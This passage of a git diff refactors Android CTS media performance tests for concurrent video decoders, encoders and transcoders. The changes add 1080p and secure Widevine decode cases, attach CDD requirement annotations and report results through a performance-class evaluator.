+        if (bothSecure) {
+            testCodec(null, 1080, 1920, REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+        } else if (onlyOneSecure) {
+            testCodec(m1080pTestFiles, 1080, 1920,
+                    REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE + 1);
+        } else {
+            testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+        }
+    }
+
+    private void testCodec(Map<String, String> testFiles, int height, int width,
+            int requiredMinInstances) throws Exception {
+        mTestFiles = testFiles;
         ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
         mimeDecoderPairs.add(mFirstPair);
         mimeDecoderPairs.add(mSecondPair);
-        int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeDecoderPairs);
-        int secondPairInstances = maxInstances / 2;
-        int firstPairInstances = maxInstances - secondPairInstances;
-        ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
-        List<Decode> testList = new ArrayList<>();
-        for (int i = 0; i < firstPairInstances; i++) {
-            testList.add(new Decode(mFirstPair.first, mTestFiles.get(mFirstPair.first),
-                    mFirstPair.second, mIsAsync));
-        }
-        for (int i = 0; i < secondPairInstances; i++) {
-            testList.add(new Decode(mSecondPair.first, mTestFiles.get(mSecondPair.first),
-                    mSecondPair.second, mIsAsync));
-        }
-        List<Future<Double>> resultList = pool.invokeAll(testList);
+        boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+        boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+        boolean secureWithUnsecure = isFirstSecure ^ isSecondSecure;
+        boolean bothSecure = isFirstSecure & isSecondSecure;
+        int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
+                mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        for (Future<Double> result : resultList) {
-            achievedFrameRate += result.get();
+        boolean meetsPreconditions = (isFirstSecure || isSecondSecure) ?
+                meetsSecureDecodePreconditions() : true;
+        // secure test should not reach this point if secure codec doesn't support PP
+        if (meetsPreconditions && (maxInstances >= requiredMinInstances || secureWithUnsecure)) {
+            int secondPairInstances = maxInstances / 2;
+            int firstPairInstances = maxInstances - secondPairInstances;
+            if (secureWithUnsecure) {
+                firstPairInstances =
+                        isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ? 1 : 3;
+                secondPairInstances = requiredMinInstances - firstPairInstances;
+                maxInstances = requiredMinInstances;
+            }
+            List<Decode> testList = new ArrayList<>();
+            for (int i = 0; i < firstPairInstances; i++) {
+                boolean isSecure = isFirstSecure;
+                String testFile = isSecure ? m1080pWidevineTestFiles.get(mFirstPair.first) :
+                        mTestFiles.get(mFirstPair.first);
+                Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
+                        mFirstPair.first, testFile != null);
+                testList.add(new Decode(mFirstPair.first, testFile, mFirstPair.second, mIsAsync,
+                        isSecure));
+            }
+            for (int i = 0; i < secondPairInstances; i++) {
+                boolean isSecure = isSecondSecure;
+                String testFile = isSecure ? m1080pWidevineTestFiles.get(mSecondPair.first) :
+                        mTestFiles.get(mSecondPair.first);
+                Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
+                        mSecondPair.first, testFile != null);
+                testList.add(new Decode(mSecondPair.first, testFile, mSecondPair.second,
+                        mIsAsync, isSecure));
+            }
+            ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
+            List<Future<Double>> resultList = pool.invokeAll(testList);
+            for (Future<Double> result : resultList) {
+                achievedFrameRate += result.get();
+            }
         }
-        assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
-                achievedFrameRate >= mMaxFrameRate);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        if (secureWithUnsecure) {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_10 =
+                pce.addR5_1__H_1_10();
+            r5_1__H_1_10.setConcurrentFps(achievedFrameRate);
+        } else if (bothSecure) {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_9 = pce.addR5_1__H_1_9();
+            r5_1__H_1_9.setConcurrentFps(achievedFrameRate);
+        } else {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_1;
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_2;
+            if (height >= 1080) {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_1080p();
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_1080p();
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            } else {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_720p(mMime, mMime, height);
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_720p(mMime, mMime, height);
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            }
+        }
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index 4647719..38ab7aa 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -15,23 +15,26 @@
  */
 
 package android.mediapc.cts;
+
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import android.util.Pair;
-
 import androidx.test.filters.LargeTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
+import com.android.compatibility.common.util.CddTest;
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.Map;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
-
-import static org.junit.Assert.assertTrue;
+import org.junit.Assume;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 /**
  * The following test class validates the maximum number of concurrent decode sessions that it can
@@ -45,23 +48,25 @@
 
     private final String mDecoderName;
 
-    public MultiDecoderPerfTest(String mimeType, String testFile, String decoderName,
-            boolean isAsync) {
-        super(mimeType, testFile, isAsync);
+    public MultiDecoderPerfTest(String mimeType, String decoderName, boolean isAsync) {
+        super(mimeType, null, isAsync);
         mDecoderName = decoderName;
     }
 
-    // Returns the params list with the mime, testFile and their hardware decoders in
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    // Returns the params list with the mime and corresponding hardware decoders in
     // both sync and async modes.
-    // Parameters {0}_{2}_{3} -- Mime_DecoderName_isAsync
-    @Parameterized.Parameters(name = "{index}({0}_{2}_{3})")
+    // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
         final List<Object[]> argsList = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsFor720p(mime, false);
+            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
             for (String decoder : listOfDecoders) {
                 for (boolean isAsync : boolStates) {
-                    argsList.add(new Object[]{mime, mTestFiles.get(mime), decoder, isAsync});
+                    argsList.add(new Object[]{mime, decoder, isAsync});
                 }
             }
         }
@@ -75,29 +80,81 @@
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-1", "2.2.7.1/5.1/H-1-2"})
     public void test720p() throws Exception {
+        Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mDecoderName, mMime));
+        boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
+        testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
+    }
+
+    /**
+     * This test validates that the decoder can support at least 6 non-secure/2 secure concurrent
+     * 1080p 30fps decoder instances. Also ensures that all the concurrent sessions succeed in
+     * decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {
+            "2.2.7.1/5.1/H-1-1",
+            "2.2.7.1/5.1/H-1-2",
+            "2.2.7.1/5.1/H-1-9",})
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        if (isSecureSupportedCodec(mDecoderName, mMime)) {
+            testCodec(m1080pWidevineTestFiles, 1080, 1920,
+                    REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+        } else {
+            testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+        }
+    }
+
+    private void testCodec(Map<String, String> testFiles, int height, int width,
+            int requiredMinInstances) throws Exception {
+        mTestFile = testFiles.get(mMime);
+        Assume.assumeTrue("Add test vector for mime: " + mMime, mTestFile != null);
         ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
         mimeDecoderPairs.add(Pair.create(mMime, mDecoderName));
-        int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeDecoderPairs);
-        int requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES;
-        if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-            requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
-        }
-        assertTrue("Decoder " + mDecoderName + " unable to support minimum concurrent " +
-                "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
-                maxInstances >= requiredMinInstances);
-        ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
-        List<Decode> testList = new ArrayList<>();
-        for (int i = 0; i < maxInstances; i++) {
-            testList.add(new Decode(mMime, mTestFile, mDecoderName, mIsAsync));
-        }
-        List<Future<Double>> resultList = pool.invokeAll(testList);
+        boolean isSecure = isSecureSupportedCodec(mDecoderName, mMime);
+        int maxInstances =
+                checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
+                        mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        for (Future<Double> result : resultList) {
-            achievedFrameRate += result.get();
+        boolean meetsPreconditions = isSecure ? meetsSecureDecodePreconditions() : true;
+
+        if (meetsPreconditions && maxInstances >= requiredMinInstances) {
+            ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
+            List<Decode> testList = new ArrayList<>();
+            for (int i = 0; i < maxInstances; i++) {
+                testList.add(new Decode(mMime, mTestFile, mDecoderName, mIsAsync, isSecure));
+            }
+            List<Future<Double>> resultList = pool.invokeAll(testList);
+            for (Future<Double> result : resultList) {
+                achievedFrameRate += result.get();
+            }
         }
-        assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
-                achievedFrameRate >= mMaxFrameRate);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        if (isSecure) {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_9 = pce.addR5_1__H_1_9();
+            r5_1__H_1_9.setConcurrentFps(achievedFrameRate);
+        } else {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_1;
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_2;
+            if (height >= 1080) {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_1080p();
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_1080p();
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            } else {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_720p(mMime, mMime, height);
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_720p(mMime, mMime, height);
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            }
+        }
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
index 0ef9f26..e51935d 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
@@ -16,11 +16,19 @@
 
 package android.mediapc.cts;
 
+import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
 
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -53,6 +61,9 @@
         mSecondPair = secondPair;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the list of params with two hardware (mime - encoder) pairs in both
     // sync and async modes.
     // Parameters {0}_{1}_{2} -- Pair(Mime EncoderName)_Pair(Mime EncoderName)_isAsync
@@ -61,7 +72,7 @@
         final List<Object[]> argsList = new ArrayList<>();
         ArrayList<Pair<String, String>> mimeTypeEncoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfEncoders = getHardwareCodecsFor720p(mime, true);
+            ArrayList<String> listOfEncoders = getHardwareCodecsForMime(mime, true);
             for (String encoder : listOfEncoders) {
                 mimeTypeEncoderPairs.add(Pair.create(mime, encoder));
             }
@@ -86,26 +97,74 @@
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-3", "2.2.7.1/5.1/H-1-4"})
     public void test720p() throws Exception {
+        Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+
+        boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
+                mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
+        testCodec(720, 1280, 4000000, requiredMinInstances);
+    }
+
+    /**
+     * This test calculates the number of 1080p 30 fps encoder instances that the given two
+     * (mime - encoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in encoding.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-3", "2.2.7.1/5.1/H-1-4"})
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
+    private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
+            throws Exception {
         ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
         mimeEncoderPairs.add(mFirstPair);
         mimeEncoderPairs.add(mSecondPair);
-        int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeEncoderPairs);
-        int secondPairInstances = maxInstances / 2;
-        int firstPairInstances = maxInstances - secondPairInstances;
-        ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
-        List<Encode> testList = new ArrayList<>();
-        for (int i = 0; i < firstPairInstances; i++) {
-            testList.add(new Encode(mFirstPair.first, mFirstPair.second, mIsAsync));
-        }
-        for (int i = 0; i < secondPairInstances; i++) {
-            testList.add(new Encode(mSecondPair.first, mSecondPair.second, mIsAsync));
-        }
-        List<Future<Double>> resultList = pool.invokeAll(testList);
+        int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
+                mimeEncoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        for (Future<Double> result : resultList) {
-            achievedFrameRate += result.get();
+        if (maxInstances >= requiredMinInstances) {
+            int secondPairInstances = maxInstances / 2;
+            int firstPairInstances = maxInstances - secondPairInstances;
+            ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
+            List<Encode> testList = new ArrayList<>();
+            for (int i = 0; i < firstPairInstances; i++) {
+                testList.add(
+                        new Encode(mFirstPair.first, mFirstPair.second, mIsAsync, height, width, 30,
+                                bitrate));
+            }
+            for (int i = 0; i < secondPairInstances; i++) {
+                testList.add(
+                        new Encode(mSecondPair.first, mSecondPair.second, mIsAsync, height, width,
+                                30, bitrate));
+            }
+            List<Future<Double>> resultList = pool.invokeAll(testList);
+            for (Future<Double> result : resultList) {
+                achievedFrameRate += result.get();
+            }
         }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_3;
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_4;
         // Achieved frame rate is not compared as this test runs in byte buffer mode.
+        if (height >= 1080) {
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_1080p();
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_1080p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
+        } else {
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_720p(mMime, mMime, height);
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_720p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
+        }
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
index 969dc19..bb52553 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
@@ -15,12 +15,20 @@
  */
 
 package android.mediapc.cts;
+
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
 
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -31,8 +39,6 @@
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * The following test class validates the maximum number of concurrent encode sessions that it can
  * support by the hardware encoders calculated via the CodecCapabilities.getMaxSupportedInstances()
@@ -51,6 +57,9 @@
         mEncoderName = encoderName;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the params list with the mime and their hardware encoders in
     // both sync and async modes.
     // Parameters {0}_{2}_{3} -- Mime_EncoderName_isAsync
@@ -58,7 +67,7 @@
     public static Collection<Object[]> inputParams() {
         final List<Object[]> argsList = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfEncoders = getHardwareCodecsFor720p(mime, true);
+            ArrayList<String> listOfEncoders = getHardwareCodecsForMime(mime, true);
             for (String encoder : listOfEncoders) {
                 for (boolean isAsync : boolStates) {
                     argsList.add(new Object[]{mime, encoder, isAsync});
@@ -74,27 +83,61 @@
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-3", "2.2.7.1/5.1/H-1-4"})
     public void test720p() throws Exception {
+        Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+
+        boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
+        testCodec(720, 1280, 4000000, requiredMinInstances);
+    }
+
+    /**
+     * This test validates that the encoder can support at least 6 concurrent 1080p 30fps
+     * encoder instances. Also ensures that all the concurrent sessions succeed in encoding.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-3", "2.2.7.1/5.1/H-1-4"})
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
+    private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
+            throws Exception {
         ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
         mimeEncoderPairs.add(Pair.create(mMime, mEncoderName));
-        int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeEncoderPairs);
-        int requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES;
-        if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-            requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
-        }
-        assertTrue("Encoder " + mEncoderName + " unable to support minimum concurrent " +
-                "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
-                maxInstances >= requiredMinInstances);
-        ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
-        List<Encode> testList = new ArrayList<>();
-        for (int i = 0; i < maxInstances; i++) {
-            testList.add(new Encode(mMime, mEncoderName, mIsAsync));
-        }
-        List<Future<Double>> resultList = pool.invokeAll(testList);
+        int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
+                mimeEncoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        for (Future<Double> result : resultList) {
-            achievedFrameRate += result.get();
+        if (maxInstances >= requiredMinInstances) {
+            ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
+            List<Encode> testList = new ArrayList<>();
+            for (int i = 0; i < maxInstances; i++) {
+                testList.add(new Encode(mMime, mEncoderName, mIsAsync, height, width, 30, bitrate));
+            }
+            List<Future<Double>> resultList = pool.invokeAll(testList);
+            for (Future<Double> result : resultList) {
+                achievedFrameRate += result.get();
+            }
         }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_3;
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_4;
         // Achieved frame rate is not compared as this test runs in byte buffer mode.
+        if (height >= 1080) {
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_1080p();
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_1080p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
+        } else {
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_720p(mMime, mMime, height);
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_720p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
+        }
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
index 4854853..8ae7e8a 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
@@ -15,27 +15,35 @@
  */
 
 package android.mediapc.cts;
+
+import static org.junit.Assert.assertTrue;
+
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import android.util.Pair;
 import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
 
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Assume;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.Map;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * The following test class validates the maximum number of concurrent Transcode sessions that
  * it can support by the (mime, decoder - mime, encoder) pair calculated via the
@@ -62,6 +70,9 @@
         mEncoderPair = encoderPair;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime EncoderName)_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
@@ -70,11 +81,11 @@
         ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
         ArrayList<Pair<String, String>> mimeTypeEncoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsFor720p(mime, false);
+            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
             for (String decoder : listOfDecoders) {
                 mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
             }
-            ArrayList<String> listOfEncoders = getHardwareCodecsFor720p(mime, true);
+            ArrayList<String> listOfEncoders = getHardwareCodecsForMime(mime, true);
             for (String encoder : listOfEncoders) {
                 mimeTypeEncoderPairs.add(Pair.create(mime, encoder));
             }
@@ -90,7 +101,7 @@
     }
 
     /**
-     * This test calculates the validates number of concurrent Transcode sessions that
+     * This test calculates the validates number of concurrent 720p Transcode sessions that
      * it can support by the (mime, decoder - mime, encoder) pairs. Creates maxInstances / 2
      * Transcode sessions. If maximum instances is odd, creates one additional decoder which decodes
      * to surface and render. And ensures that all the supported sessions succeed in
@@ -98,50 +109,89 @@
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-5", "2.2.7.1/5.1/H-1-6"})
     public void test720p() throws Exception {
+        Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+
+        boolean hasVP9 = mDecoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)
+                || mEncoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
+        testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
+    }
+
+    /**
+     * This test calculates the validates number of concurrent 1080p Transcode sessions that
+     * it can support by the (mime, decoder - mime, encoder) pairs. Creates maxInstances / 2
+     * Transcode sessions. If maximum instances is odd, creates one additional decoder which decodes
+     * to surface and render. And ensures that all the supported sessions succeed in
+     * transcoding/decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-5", "2.2.7.1/5.1/H-1-6"})
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
+    private void testCodec(Map<String, String> testFiles, int height, int width,
+            int requiredMinInstances) throws Exception {
+        mTestFiles = testFiles;
         ArrayList<Pair<String, String>> mimeCodecPairs = new ArrayList<>();
         mimeCodecPairs.add(mDecoderPair);
         mimeCodecPairs.add(mEncoderPair);
-        int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeCodecPairs);
-        int requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES / 2;
-        if (mDecoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)
-                || mEncoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-            requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 / 2;
-        }
-        assertTrue("DecodeMime: " + mDecoderPair.first + ", Decoder " + mDecoderPair.second +
-                ", EncodeMime: " + mEncoderPair.first + ", Encoder: " + mEncoderPair.second +
-                ", unable to support minimum concurrent instances. act/exp: " + maxInstances +
-                "/" + requiredMinInstances, maxInstances >= requiredMinInstances);
-        ExecutorService pool = Executors.newFixedThreadPool(maxInstances / 2 + maxInstances % 2);
-        List<Transcode> transcodeList = new ArrayList<>();
-        for (int i = 0; i < maxInstances / 2 ; i++) {
-            transcodeList.add(new Transcode(mEncoderPair.first, mTestFiles.get(mDecoderPair.first),
-                    mDecoderPair.second, mEncoderPair.second, mIsAsync));
-        }
+        int maxInstances =
+                checkAndGetMaxSupportedInstancesForCodecCombinations(height, width, mimeCodecPairs,
+                        requiredMinInstances);
         double achievedFrameRate = 0.0;
-        List<Future<Double>> decodeResultList = null;
-        if (maxInstances % 2 == 1) {
-            List<DecodeToSurface> decodeList = new ArrayList<>();
-            mActivityRule.getActivity().waitTillSurfaceIsCreated();
-            Surface surface = mActivityRule.getActivity().getSurface();
-            assertTrue("Surface created is null.", surface != null);
-            assertTrue("Surface created is invalid.", surface.isValid());
